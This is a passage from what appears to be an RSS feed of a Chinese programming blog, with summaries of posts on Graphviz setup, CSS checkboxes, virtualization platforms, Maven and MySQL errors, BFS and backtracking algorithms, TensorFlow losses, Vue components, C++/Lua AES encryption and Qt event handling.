（1）鼠标左键点击环境变量---（2）点击编辑----（3）把graphviz的bin的地址粘贴到最后，注意和前边用“；”隔开我的bin文件地址就是C:\Program Files (x86)\Graphviz2.38\bin 4 运行代码看是否还是报错。&#xA;报错-------&amp;gt;重启编辑器--------&amp;gt;报错--------&amp;gt;重启电脑。&#xA;5 如果还是报错&#xA;import os os.environ[&#34;PATH&#34;] += os.pathsep + &#39;C:/Program Files (x86)/Graphviz2.38/bin/&#39; #后面的地址为自己安装graphviz的bin文件的地址 </description>
    </item>
    <item>
      <title>CSS Hack与CSS美化Checkbox</title>
      <link>https://bchobby.github.io/posts/6d8928cf106e4287b3790059631247b5/</link>
      <pubDate>Wed, 19 Feb 2020 16:37:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d8928cf106e4287b3790059631247b5/</guid>
      <description>CSS Hack 只在特定浏览器生效的写法就叫css hack&#xA;Hack即不合法但生效的写法&#xA;主要用于区分不同浏览器&#xA;缺点：难理解 难维护 容易失效&#xA;替代方案：特性检测&#xA;替代方案： 针对性加class&#xA;注意：&#xA;标准属性写前面，hack写后面&#xA;案例-checkbox&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;ie=edge&#34;&amp;gt; &amp;lt;title&amp;gt;checkbox&amp;lt;/title&amp;gt; &amp;lt;style&amp;gt; .checkbox{ } .checkbox input{ display: none; } .checkbox input + label{ background:url(./checkbox1.png) left center no-repeat; background-size:20px 20px; padding-left:20px; } .checkbox input:checked + label{ background-image:url(./checkbox2.png); } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div class=&#34;checkbox&#34;&amp;gt; &amp;lt;input type=&#34;checkbox&#34; id=&#34;handsome&#34;/&amp;gt; &amp;lt;label for=&#34;handsome&#34;&amp;gt;我很帅&amp;lt;/label&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 很巧妙 美化checkbox</description>
    </item>
    <item>
      <title>虚拟化平台选型</title>
      <link>https://bchobby.github.io/posts/c0012f083db3288ef8b73b2039ac94a8/</link>
      <pubDate>Wed, 19 Feb 2020 14:51:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0012f083db3288ef8b73b2039ac94a8/</guid>
      <description>虚拟化技术&#xA;Hyper-V&#xA;KVM&#xA;VMware&#xA;虚拟化产品&#xA;1、Hyper-V Server&#xA;（独立OS），免费；&#xA;2、集成Hyper-V功能的Windows Server，收费；&#xA;1、ProxmoX VE&#xA;（独立OS），免费；&#xA;2、集成KVM功能的CentOS，免费；&#xA;1、ESXi（OS），免费，需要许可证；&#xA;2、VMware Workstation，收费；&#xA;集群管理平台&#xA;SCVMM（收费）&#xA;需要AD域&#xA;内置&#xA;vCenter（收费）&#xA;操作难易度&#xA;难度 中，&#xA;客户端操作，&#xA;需要AD域&#xA;难度 中，&#xA;Web界面，&#xA;需要LVM基础&#xA;难度 低，&#xA;Web界面，&#xA;上手容易&#xA;硬件支持度&#xA;广泛&#xA;广泛&#xA;很少，&#xA;只支持主流服务器厂家&#xA;存储技术&#xA;ReFS&#xA;LVM、ceph、ZFS&#xA;VMF&#xA;领导厂家&#xA;微软&#xA;红帽&#xA;VMware&#xA;特点&#xA;win8以上系统可以获得最佳图形性能，首选；&#xA;win8以下系统各方面性能都很低，不推荐；&#xA;linux系统可获得最佳CPU和IO性能，服务器版首选；&#xA;图形性能不佳，桌面版不推荐；&#xA;拥有最好的linux图形性能，桌面版首选；&#xA;win8以下系统推荐使用；&#xA;Windows&#xA;支持度&#xA;良好，&#xA;win8以上最好&#xA;一般&#xA;良好&#xA;Linux&#xA;支持度&#xA;良好，&#xA;内核已内置显卡驱动&#xA;最好&#xA;良好，&#xA;内核已内置显卡驱动&#xA;硬件需求</description>
    </item>
    <item>
      <title>Maven出现依赖报错问题</title>
      <link>https://bchobby.github.io/posts/e4390b57291bb6de879d2988baabc6a2/</link>
      <pubDate>Wed, 19 Feb 2020 13:09:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4390b57291bb6de879d2988baabc6a2/</guid>
      <description>Multiple annotations found at this line:&#xA;ArtifactTransferException: Failure to transfer com.fasterxml.jackson.core:jackson-databind:jar:2.9.0.pr3 from http://&#xA;repo1.maven.org/maven2 was cached in the local repository, resolution will not be reattempted until the update interval of&#xA;central has elapsed or updates are forced. Original error: Could not transfer artifact com.fasterxml.jackson.core:jackson-&#xA;databind:jar:2.9.0.pr3 from/to central (http://repo1.maven.org/maven2): No response received after 60000Missing artifact com.fasterxml.jackson.core:jackson-databind:jar:2.9.0.pr3 其实已经说的很清楚了。&#xA;因为 那个 2.9.pr3.jar 已经缓存在了本地， 所以下载（transfer ）失败。 只有过了指定的时间间隔， 或 强制更新， 才会去重新 解析。&#xA;—— resolution will not be reattempted until the update interval of</description>
    </item>
    <item>
      <title>利用广度优先搜索（bfs）来解决迷宫问题</title>
      <link>https://bchobby.github.io/posts/3734226ffe149736b512da2533563f67/</link>
      <pubDate>Wed, 19 Feb 2020 12:40:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3734226ffe149736b512da2533563f67/</guid>
      <description>利用广度优先搜索（bfs）来解决迷宫问题 一.广度优先搜索（bfs） 1.什么叫bfs 广度优先搜索类似于树的层次遍历；&#xA;是利用队列的先进先出的特点来实现的；&#xA;通俗来说就是一次访问多条路，分层；&#xA;一般来说，广度搜索解决的问题主要为求最优解和最短路径。&#xA;2.遍历过程 （1）从图中某顶点v出发，在访问了v之后依次访问v的各个未曾访问过的邻接点v1，v2…vi；&#xA;（2）分别从这些邻接点出发依次访问它们的邻接点。按照v1，v2…vi的次序（先被访问的顶点的邻接点先于后被访问的顶点的邻接点），访问每一个顶点的所有未被访问过的邻接点。&#xA;（3）依次类推，直到图中所有已被访问的顶点的邻接点都被访问到。&#xA;第一层第二层第三层第四层 出发v v1 v2 v3 v4 v5 v6 结束v7 bfs：v–&amp;gt;v1–&amp;gt;v2–&amp;gt;v3–&amp;gt;v4–&amp;gt;v5–&amp;gt;v6–&amp;gt;v7&#xA;遍历过程结束；&#xA;因为广度搜索遍历是一层一层的去搜索从入口到出口的遍历过程，所以在找到出口的时候，一定是当前最短路径；&#xA;3.算法设计 解决的问题：&#xA;（1）如何确定一个顶点是否访问？&#xA;设置一个vis[]数组，vis[i]为0就表示没有被访问，vis[i]为1就表示i点已经被访问过。（根据实际情况，如迷宫图，也可以在图上面直接记录修改）&#xA;（2）如何找到正确的从出口到入口的路径&#xA;所有搜索过的方块都在队列中，&#xA;最后通过队列找出从 出口=&amp;gt;入口的一条迷宫路径；&#xA;同时设置一个pre指针来指向每一个前路径；例如：&#xA;迷宫图（墙为0，路为1，从（1,1）到（5,6））&#xA;0 1 0 0 0&#xA;0 1 0 1 0&#xA;0 0 0 0 0&#xA;0 1 1 1 0&#xA;0 0 0 1 0&#xA;1 1 1 0 0&#xA;层数ijpre&amp;gt;011-1&amp;gt;1120&amp;gt;21313142&amp;gt;42325153&amp;gt;63347255&amp;gt;84369326&amp;gt;1053811319&amp;gt;125410134111&amp;gt;145512155113&amp;gt;165614 4.bfs算法模板 void bfs(int x1,int y1) { 建造队列q； 入口入队； while(队列不为空） { 访问队首元素； 队首元素出队； if(到达目标位置) { 输出； } 相邻结点入队； 置为已访问； } } 二.</description>
    </item>
    <item>
      <title>找不到或无法加载com.sun.tools...类</title>
      <link>https://bchobby.github.io/posts/5bfc1154b138d7b7f777a7ec11e80ec1/</link>
      <pubDate>Wed, 19 Feb 2020 10:11:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5bfc1154b138d7b7f777a7ec11e80ec1/</guid>
      <description>是因为jdk和jre配置在同一目录下，tools.jar包冲突。使得jdk/lib下没有tools.jar.解决办法就是加入tools.jar或者重新配置jdk</description>
    </item>
    <item>
      <title>「力扣」第 46、47 题：全排列、全排列 II（回溯算法）题解</title>
      <link>https://bchobby.github.io/posts/16aae1c3f59a5c2d6ed6fb5c553cbcbf/</link>
      <pubDate>Wed, 19 Feb 2020 09:52:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16aae1c3f59a5c2d6ed6fb5c553cbcbf/</guid>
      <description>第 46 题：“全排列”题目描述 给定一个没有重复数字的序列，返回其所有可能的全排列。&#xA;示例：&#xA;输入: [1,2 , 3] 输出: [ [1, 2, 3], [1, 3, 2], [2, 1, 3], [2, 3, 1], [3, 1, 2], [3, 2, 1] ] 思路：&#xA;第 46 题是回溯搜索算法的入门问题，可以把搜索全排列的过程画成一棵递归树，请务必动手在纸上画出递归树；&#xA;所有符合条件的结点在这棵递归树的叶子结点；使用深度优先遍历（DFS）或者广度优先遍历（BFS）遍历这棵递归树，在叶子结点处添加符合题意的一个结果，发现使用 BFS 编码较难；&#xA;使用 DFS 可以使用递归方法，借助方法栈完成，即传递的参数通过递归方法的方法栈进行传递，而不用手动编写栈和结点类，把结点类需要的变量通过递归方法的参数进行传递即可；树的每一个结点表示解决这个问题处在了哪一个阶段，我们使用不同的变量进行区分，这些变量叫做“状态变量”；而深度优先遍历有一个回退的过程，在回退的时候，所有的“状态”需要和第一次来到这个结点的时候相同，因此这里需要做“状态重置”（或者称“恢复变量”、“撤销选择”），这是深搜称之为“回溯算法”的原因； 深度优先遍历作为搜索遍历的方法，其思想也是很朴素且深刻的，深搜表现出一种“不撞南墙不回头”的特点。具体的行为是：完成一件事情有多个阶段，在每一个阶段有多种选择，先走其中一个，然后实在走不下去了，再回退到上一个结点继续下一个选择。&#xA;回到上一个结点的步骤就称之为“回溯”，在“回溯”的时候必须保证回到之前刚来到这个结点的状态，这叫做“状态重置”。&#xA;大家想一想在电影《大话西游》里月光宝盒的作用，正是因为月光宝盒有“回到过去”，将所有的一切恢复到之前的样子的功能，至尊宝才能做出最正确的选择。&#xA;在人类的世界里没有“月光宝盒”，但是在计算机的世界里，“状态重置”是很容易实现的，因此我们可以使用一份状态变量完成所有状态的搜索，只把符合特定条件的“状态”保存下来，作为结果集，这就是“回溯算法”能成为强大的搜索算法的原因。&#xA;需要设计的状态变量有：递归树到了第几层（已经使用了几个数），从根结点到叶子结点的路径（即一个全排列），哪些数是否使用过。 Java 代码：&#xA;import java.util.ArrayDeque; import java.util.ArrayList; import java.util.Deque; import java.util.List; public class Solution { public List&amp;lt;List&amp;lt;Integer&amp;gt;&amp;gt; permute(int[] nums) { int len = nums.length; List&amp;lt;List&amp;lt;Integer&amp;gt;&amp;gt; res = new ArrayList&amp;lt;&amp;gt;(); if (len == 0) { return res; } boolean[] used = new boolean[len]; // 由于只在结尾操作，因此是一个栈，Java 的 Stack 类建议使用 Deque 作为栈的实现 Deque&amp;lt;Integer&amp;gt; path = new ArrayDeque&amp;lt;&amp;gt;(len); // 由于是深搜，深搜需要使用栈，而写递归方法就可以把状态变量设计成递归方法参数 dfs(nums, len, 0, path, used, res); return res; } /** * @param nums 候选数组 * @param len 冗余变量，作为参数传递不用每次都从 nums 中读取 length 属性值 * @param depth 冗余变量，作为参数传递不用每次都从 path 中调用 size() 方法 * @param path 从根结点到叶子结点的路径 * @param used 记录当前结点已经使用了哪些元素，这些元素都在 path 变量中 * @param res 结果集 */ private void dfs(int[] nums, int len, int depth, Deque&amp;lt;Integer&amp;gt; path, boolean[] used, List&amp;lt;List&amp;lt;Integer&amp;gt;&amp;gt; res) { if (depth == len) { res.</description>
    </item>
    <item>
      <title>Mysql5.6版本 Specified key was too long; max key length is 767 bytes&#34;错误</title>
      <link>https://bchobby.github.io/posts/64426bea65acfbeaab99a991b10c41d6/</link>
      <pubDate>Tue, 18 Feb 2020 23:22:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/64426bea65acfbeaab99a991b10c41d6/</guid>
      <description>如果启用了系统变量innodb_large_prefix（默认启用，注意实验版本为MySQL 5.6.41,默认是关闭的，MySQL 5.7默认开启），则对于使用DYNAMIC或COMPRESSED行格式的InnoDB表，索引键前缀限制为3072字节。如果禁用innodb_large_prefix，则对于任何行格式的表，索引键前缀限制为767字节。&#xA;innodb_large_prefix将在以后的版本中删除、弃用。在MySQL 5.5中引入了innodb_large_prefix，用来禁用大型前缀索引，以便与不支持大索引键前缀的早期版本的InnoDB兼容。&#xA;对于使用REDUNDANT或COMPACT行格式的InnoDB表，索引键前缀长度限制为767字节。例如，您可能会在TEXT或VARCHAR列上使用超过255个字符的列前缀索引达到此限制，假设为utf8mb3字符集，并且每个字符最多包含3个字节。&#xA;尝试使用超出限制的索引键前缀长度会返回错误。要避免复制配置中出现此类错误，请避免在主服务器上启用enableinnodb_large_prefix（如果无法在从服务器上启用）。&#xA;适用于索引键前缀的限制也适用于全列索引键。&#xA;注意：上面是767个字节，而不是字符，具体到字符数量，这就跟字符集有关。GBK是双字节的，UTF-8是三字节的&#xA;解决方案：&#xA;1：启用系统变量innodb_large_prefix&#xA;注意：光有这个系统变量开启是不够的。必须满足下面几个条件：&#xA;1： 系统变量innodb_large_prefix为ON&#xA;2： 系统变量innodb_file_format为Barracuda&#xA;3： ROW_FORMAT为DYNAMIC或COMPRESSED&#xA;mysql&amp;gt; show variables like &#39;%innodb_large_prefix%&#39;;&#xA;+---------------------+-------+&#xA;| Variable_name | Value |&#xA;+---------------------+-------+&#xA;| innodb_large_prefix | OFF |&#xA;+---------------------+-------+&#xA;1 row in set (0.00 sec)&#xA;mysql&amp;gt; set global innodb_large_prefix=on;&#xA;Query OK, 0 rows affected (0.00 sec)&#xA;mysql&amp;gt; show variables like &#39;%innodb_file_format%&#39;;&#xA;+--------------------------+----------+&#xA;| Variable_name | Value |&#xA;+--------------------------+----------+&#xA;| innodb_file_format | Antelope |</description>
    </item>
    <item>
      <title>删除文件夹时，提示访问被拒、权限不足。如何解决？</title>
      <link>https://bchobby.github.io/posts/b7eb3ed8fafc7c0b65e0ed7f4f8ebe54/</link>
      <pubDate>Tue, 18 Feb 2020 15:43:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7eb3ed8fafc7c0b65e0ed7f4f8ebe54/</guid>
      <description>删除文件夹时，提示访问被拒、权限不足等。&#xA;有三种原因：&#xA;1、一般是由于文件夹被别的进程占用、被使用中。这时是无法删除的。&#xA;2、也有一部分原因是由于系统产生错误。&#xA;3、最小的可能性是病毒引起的系统功能异常。&#xA;对应的解决办法：&#xA;1、重启系统，一般就可以删除了。&#xA;2、如果是系统功能问题，用：系统错误修复精灵、系统错误修复大师这类软件修复就可以了。&#xA;3、最小的可能，当然是进行杀毒。</description>
    </item>
    <item>
      <title>联想拯救者Y7000安装win10 1607版本后，一直在转圈，进不去系统</title>
      <link>https://bchobby.github.io/posts/de042f9260a29f543228d96722a7ee2c/</link>
      <pubDate>Tue, 18 Feb 2020 00:07:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de042f9260a29f543228d96722a7ee2c/</guid>
      <description>联想拯救者Y7000安装win10 1607版本后，一直在转圈，进不去系统，这笔记本不能安装1607版本，必须升级到1903以上版本才可以的。&#xA;有其他问题，可以关注下方公众号</description>
    </item>
    <item>
      <title>win10 1909系统不兼容部分realtek的声卡，部分笔记本安装后会出现耳机音响不能同时发声</title>
      <link>https://bchobby.github.io/posts/6ea1ce127fb72677616237f9f07d8cd9/</link>
      <pubDate>Mon, 17 Feb 2020 23:53:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ea1ce127fb72677616237f9f07d8cd9/</guid>
      <description>win10 1909系统不兼容部分realtek的声卡，部分笔记本安装后会出现耳机音响不能同时发声&#xA;，降级安装到1607版本就可以，亲测有效&#xA;有其他问题，可以关注下方公众号</description>
    </item>
    <item>
      <title>Hands-on ML 学习笔记-P1-chapter2</title>
      <link>https://bchobby.github.io/posts/a220683b6f7f501b66bf54ee08ce9ffb/</link>
      <pubDate>Mon, 17 Feb 2020 22:27:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a220683b6f7f501b66bf54ee08ce9ffb/</guid>
      <description>End-to-end Machine Learning 学习笔记（主要关于代码） 1.Set up # to make this notebook&#39;s output stable across runs np.random.seed(42) # To plot pretty figures %matplotlib inline # 主要用在jupyter notebook上，用于让python console里面生成图像，在pycharm中可以注释掉 import matplotlib as mpl import matplotlib.pyplot as plt mpl.rc(&#39;axes&#39;, labelsize=14) #设置坐标轴尺寸 mpl.rc(&#39;xtick&#39;, labelsize=12) mpl.rc(&#39;ytick&#39;, labelsize=12) # Where to save the figures PROJECT_ROOT_DIR = &#34;.&#34; CHAPTER_ID = &#34;end_to_end_project&#34; IMAGES_PATH = os.path.join(PROJECT_ROOT_DIR, &#34;images&#34;, CHAPTER_ID) def save_fig(fig_id, tight_layout=True, fig_extension=&#34;png&#34;, resolution=300): path = os.path.join(IMAGES_PATH, fig_id + &#34;</description>
    </item>
    <item>
      <title>机器学习25:可能导致训练网络不收敛的几种原因</title>
      <link>https://bchobby.github.io/posts/c16187fcba5f4d5d15225b586b9baefb/</link>
      <pubDate>Mon, 17 Feb 2020 17:11:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c16187fcba5f4d5d15225b586b9baefb/</guid>
      <description>机器学习25:可能导致训练网络不收敛的几种原因 1.可能导致训练网络不收敛的几个原因：&#xA;（1）没有做数据归一化；&#xA;（2）没有检查过预处理结果和最终的训练测试结果；&#xA;（3）没有做数据预处理；&#xA;（4）没有使用正则化；&#xA;（5）Batch Size设的太大；&#xA;（6）学习率设的不合适；&#xA;（7）最后一层的激活函数错误；&#xA;（8）网络存在坏梯度，比如当Relu对负值的梯度为0，反向传播时，梯度为0表示不传播；&#xA;（9）参数初始化错误；&#xA;（10）网络设定不合理，网络太浅或者太深；&#xA;（11）隐藏层神经元数量错误；&#xA;（12）数据集标签的设置有错误。&#xA;2.详解链接：&#xA;http://theorangeduck.com/page/neural-network-not-working</description>
    </item>
    <item>
      <title>用SW绘制渐开线直齿圆柱齿轮</title>
      <link>https://bchobby.github.io/posts/e0964a472dc395285a73a033be6a8025/</link>
      <pubDate>Mon, 17 Feb 2020 00:15:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e0964a472dc395285a73a033be6a8025/</guid>
      <description>用Solidworks绘制齿轮可以使用SW里面提供的标准库，经过笔者实测，发现并不是很好用：）绘制齿轮大家可能仅仅是随手画一下，看着像齿轮就行了，但是如何正确规范的绘制一个渐开线圆柱齿轮，并能实现3D打印，零件成品能保证正确啮合运转呢？笔者接下来会想大家一一介绍，拿小本本记好哦~ 一、齿轮正确啮合的条件(点击标题进入传送门)&#xA;法面模数与法面压力角要求分别相等。&#xA;对于斜齿轮，还需满足其螺旋角必须大小相等，方向相反。&#xA;齿轮参数和他们之间的关系：&#xA;模数：m&#xA;齿数：z&#xA;分度圆压力角：a&#xA;齿顶高：Ha = Ham（Ha为齿顶高系数，通常取1）&#xA;齿根高：Hf = (Ha*+c*)m （c*为顶隙系数，通常取0.25）&#xA;分度圆直径：d=zm&#xA;基圆直径：Db=dcosa&#xA;齿顶圆直径：Da=d+2Ha&#xA;齿根圆直径：Df=d-2Hf&#xA;齿距：p=πm&#xA;二、好戏开场啦&#xA;1.通过Solidworks方程式将齿轮参数输入方程中，打开Solidworks-新建零件-打开“工具”-点击“方程式”&#xA;2.在全局变量一栏输入齿轮参数的变量&#xA;3.分别在草图中画出分度圆，基圆，齿顶圆，齿根圆并将各自尺寸链接到方程式相对应的尺寸中&#xA;4.打开“工具”-选择“草图绘制实体”-选择“方程式驱动的曲线”-选择“参数性”,在方程式中输入渐开线坐标方程（注：其中Db需要读者通过计算替换掉，否则系统无法识别）&#xA;Xt=Dbcos(t)/2+Dbtsin(t)/2&#xA;Yt=Dbsin(t)/2-Dbtcos(t)/2&#xA;5.得到一条基圆的渐开线：&#xA;6.在分度圆上做一弧线，弧线的长度等于p/2,连接圆心与弧线中点建立对称轴&#xA;7.做一条直线与齿根圆相交，另一端与渐开线相切&#xA;8.使用镜像命令将齿轮齿型做出来&#xA;9.选择“拉伸”命令，在所选轮廓中选择齿轮的草图轮廓&#xA;10.建立圆周阵列用旋转轴&#xA;11.在轮齿两侧绘制圆角&#xA;12.选择圆周阵列，对其他齿进行阵列，阵列数目输入“ =“z” ”&#xA;13.绘制键槽、通孔，成品如下：&#xA;读者有更好的绘制技巧，欢迎在评论区留言哦~&#xA;本人使用的是Ender 3S的打印机，后期我会更新成品图片的哦，敬请期待！&#xA;详情请关注亿航创客官方抖音账号：EhangGroup</description>
    </item>
    <item>
      <title>【Tensorflow】tensorflow中的损失函数介绍</title>
      <link>https://bchobby.github.io/posts/efdb178d578543e9322aaf50ab175081/</link>
      <pubDate>Sun, 16 Feb 2020 21:13:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/efdb178d578543e9322aaf50ab175081/</guid>
      <description>tensorflow中的损失函数介绍 本文参考借鉴了：损失函数loss大大总结，地址：https://blog.csdn.net/qq_14845119/article/details/80787753&#xA;并参考官方文档整理而成。&#xA;一. 分类损失函数 1.二分类交叉熵损失sigmoid_cross_entropy： Aliases:&#xA;tf.losses.sigmoid_cross_entropy(…)：&#xA;使用tf.nn.sigmoid_cross_entropy_with_logits创建交叉熵loss.&#xA;tf.losses.sigmoid_cross_entropy( multi_class_labels, logits, weights=1.0, label_smoothing=0, scope=None, loss_collection=tf.GraphKeys.LOSSES, reduction=Reduction.SUM_BY_NONZERO_WEIGHTS ) 参数介绍：&#xA;1.multi_class_labels: [batch_size, num_classes] 目标整数标签位于{0，1}。&#xA;2.logits: Float [batch_size, num_classes] 网络的logits输出。&#xA;返回值：&#xA;与logits类型相同的加权损失张量。如果reduction为NONE，则它的形状与logits相同；否则，它是标量。&#xA;tf.nn.sigmoid_cross_entropy_with_logits&#xA;tf.nn.sigmoid_cross_entropy_with_logits( _sentinel=None, labels=None, logits=None, name=None ) 参数介绍：&#xA;logits and labels must have the same type and shape.&#xA;labels: [batch_size, num_classes]。目标整数标签位于{0，1}。&#xA;logits: Float [batch_size, num_classes] 。&#xA;name: A name for the operation (optional).&#xA;返回值：A Tensor of the same shape as logits with the componentwise logistic losses.</description>
    </item>
    <item>
      <title>Vue中抽离组件模板的几种方式</title>
      <link>https://bchobby.github.io/posts/1879ec799dc7c738bff3ce72999c33b4/</link>
      <pubDate>Sun, 16 Feb 2020 15:17:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1879ec799dc7c738bff3ce72999c33b4/</guid>
      <description>1.全局组件和局部组件的创建 &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt; &amp;lt;script type=&#34;text/javascript&#34; src=&#34;https://unpkg.com/vue&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div id=&#34;app&#34;&amp;gt; &amp;lt;component-public&amp;gt;&amp;lt;/component-public&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div id=&#34;app2&#34;&amp;gt; &amp;lt;component-public&amp;gt;&amp;lt;/component-public&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; &amp;lt;script type=&#34;text/javascript&#34;&amp;gt; Vue.component(&#39;component-public&#39;, { template:`&amp;lt;div&amp;gt; &amp;lt;h1&amp;gt;全局组件&amp;lt;/h1&amp;gt; &amp;lt;/div&amp;gt;` }) const app = new Vue({ el:&#34;#app&#34;, components:{ // 局部组件 &#34;component-private&#34;:{ template:` &amp;lt;div&amp;gt; 账号&amp;lt;input type=&#34;text&#34; name=&#34;&#34; id=&#34;&#34; value=&#34;&#34; /&amp;gt; 密码&amp;lt;input type=&#34;password&#34; name=&#34;&#34; /&amp;gt; &amp;lt;button class=&#34;btn btn-success&#34;&amp;gt;登录&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; ` } } }) const app2 = new Vue({ el:&#34;#app2&#34; }) &amp;lt;/script&amp;gt; &amp;lt;/html&amp;gt; 2.</description>
    </item>
    <item>
      <title>C&#43;&#43; lua   交互的  AES加密</title>
      <link>https://bchobby.github.io/posts/15b684869c4cbf4ab9e27fcf351d17e2/</link>
      <pubDate>Sat, 15 Feb 2020 23:26:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15b684869c4cbf4ab9e27fcf351d17e2/</guid>
      <description>背景： 当前开发中，lua中有需要用到aes加密的需求，底层c++是有aes模块的，但是程序一直没有用到，我修改了一番。两点：加密，解密&#xA;梳理流程： 加密：字符串输入，秘钥输入，16的倍数不足的补N(N为不足的位数，例:12个字符串，缺4个，后面4个全部补4)，AES加密，加密完成，base64再加密，输出&#xA;解密：密码输入，秘钥输入，base64解密，16的倍数不足的补N(N为不足的位数，例:12个字符串，缺4个，后面4个全部补4)，解密完成，处理解密后字符串中的N(从尾部开始，等于N的字符串，全部删除)，输出&#xA;代码逻辑： aes.cpp(源代码) int AES_ECB_Cipher::encode(const unsigned char* src, uint32_t src_len, unsigned char* dest, uint32_t&amp;amp; len) { // check input null pointer if (nullptr == src) { return -1; } // make sure dest buff is larger than src buff if(len &amp;lt; src_len) { return -1; } unsigned char encode_buf[1024]; memset(encode_buf, 0, sizeof(encode_buf)); memcpy(encode_buf, src, src_len); uint32_t encode_buf_size = src_len; // input been padded well with pkcs5padding uint8_t pading_size = AES_ECB_Cipher::KEYLEN - encode_buf_size % AES_ECB_Cipher::KEYLEN; // PKCS5Padding rules: ²¹(16-len)¸ö(16-len) for (uint8_t pading = 0; pading &amp;lt; pading_size; pading++) { encode_buf[encode_buf_size + pading] = pading_size; } encode_buf_size += pading_size; uint32_t round = encode_buf_size / AES_ECB_Cipher::KEYLEN; const unsigned char * iv = mKey; for (uint32_t i = 0; i &amp;lt; round; ++i) { AES128_ECB_encrypt(encode_buf + i * AES_ECB_Cipher::KEYLEN, dest + i * AES_ECB_Cipher::KEYLEN); if (use_cbc) { for (int j = 0; j &amp;lt; AES_ECB_Cipher::KEYLEN; ++j) { (dest + i * AES_ECB_Cipher::KEYLEN)[j] ^= iv[j]; } iv = encode_buf + i * AES_ECB_Cipher::KEYLEN; } } len = encode_buf_size; if (len &amp;lt; 0 || len &amp;lt;= src_len) { return -1; } dest[len] = 0; return 0; } int AES_ECB_Cipher::decode(const unsigned char* src, uint32_t src_len, unsigned char* dest, uint32_t&amp;amp; len) { // check input null pointer if (nullptr == src) { return -1; } // make sure dest buff is larger than src buff if(len &amp;lt; src_len) { return -1; } unsigned char encode_buf[1024]; memset(encode_buf, 0, sizeof(encode_buf)); memcpy(encode_buf, src, src_len); uint8_t pading_size = src_len % AES_ECB_Cipher::KEYLEN; for (uint8_t pading = 0; pading &amp;lt; pading_size; pading++) { encode_buf[src_len + pading] = pading_size; } src_len += pading_size; // assume input has been padded well with pkcs5padding if (src_len % AES_ECB_Cipher::KEYLEN !</description>
    </item>
    <item>
      <title>《QT学习笔记 —— 17. QT中消息处理机制和事件处理方式》</title>
      <link>https://bchobby.github.io/posts/87b2843aa832e1c3b2f2fc932e34dfa8/</link>
      <pubDate>Sat, 15 Feb 2020 09:05:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87b2843aa832e1c3b2f2fc932e34dfa8/</guid>
      <description>一、图形界面应用程序的消息处理模型 特点：&#xA;1. 基于操作系统才能运行；&#xA;2. GUI应用程序提供的功能必须由用户触发；&#xA;3. 用户操作界面时操作系统是第一个感知的 ；&#xA;4. 系统内核的消息通过事件处理转变成QT的信号。&#xA;二. Qt中的事件处理 （1）在Qt中，事件被封装成一个个对象，所有的事件均继承自抽象类QEvent. 事件处理的核心包括事件产生、分发、接受和处理。&#xA;①事件的产生&#xA;问题：谁来产生事件？&#xA;最容易想到的是我们的输入设备，比如键盘、鼠标产生的keyPressEvent，keyReleaseEvent，mousePressEvent，mouseReleaseEvent事件（他们被封装成QMouseEvent和QKeyEvent）。&#xA;②Qt中事件的分发&#xA;问题：谁来负责分发事件？&#xA;对于non-GUI的Qt程序，是由QCoreApplication负责将QEvent分发给QObject的子类-Receiver.；对于Qt GUI程序，由QApplication来负责。&#xA;③事件的接受和处理&#xA;问题：谁来接受和处理事件？&#xA;答案是QObject。类是整个Qt对象模型的心脏，事件处理机制是QObject三大职责（内存管理、内省(intropection)与事件处理制）之一。任何一个想要接受并处理事件的对象均须继承自QObject，可以选择重载QObject::event()函数或事件的处理权转给父类。&#xA;（2）Qt平台将系统产生的消息转变成Qt事件&#xA;A. Qt事件是一个QEvent（或子类）的对象；&#xA;B. 有时一个事件包含多个事件类型，比如鼠标事件又可以分为鼠标按下、双击、和移动多种操作事件类型由QEvent类的枚举型QEvent::Type来表示，可由帮助文档进行查询;&#xA;C. Qt事件用于描述程序内部或外部发生的对应动作（描述的是操作系统发生来的消息，一个系统消息对应着一个消息事件）;&#xA;D. 任意QObject对象都具备时间处理的能力.&#xA;note：QEvent子类可以表示一个事件，但并不能处理这个事件&#xA;Qt 程序需要在main()函数创建一个QApplication对象，然后调用它的exec()函数。这个函数就是开始 Qt 的事件循环。在执行exec()函数之后，程序将进入事件循环来监听应用程序的事件。当事件发生时，Qt 将创建一个事件对象。在事件对象创建完毕后，Qt 将这个事件对象传递给QObject的event()函数。event()函数并不直接处理事件，而是将这些事件对象按照它们不同的类型，分发给不同的事件处理器（event handler）。如上所述，event()函数主要用于事件的分发。&#xA;（3）GUI应用程序的事件处理方式&#xA;A. 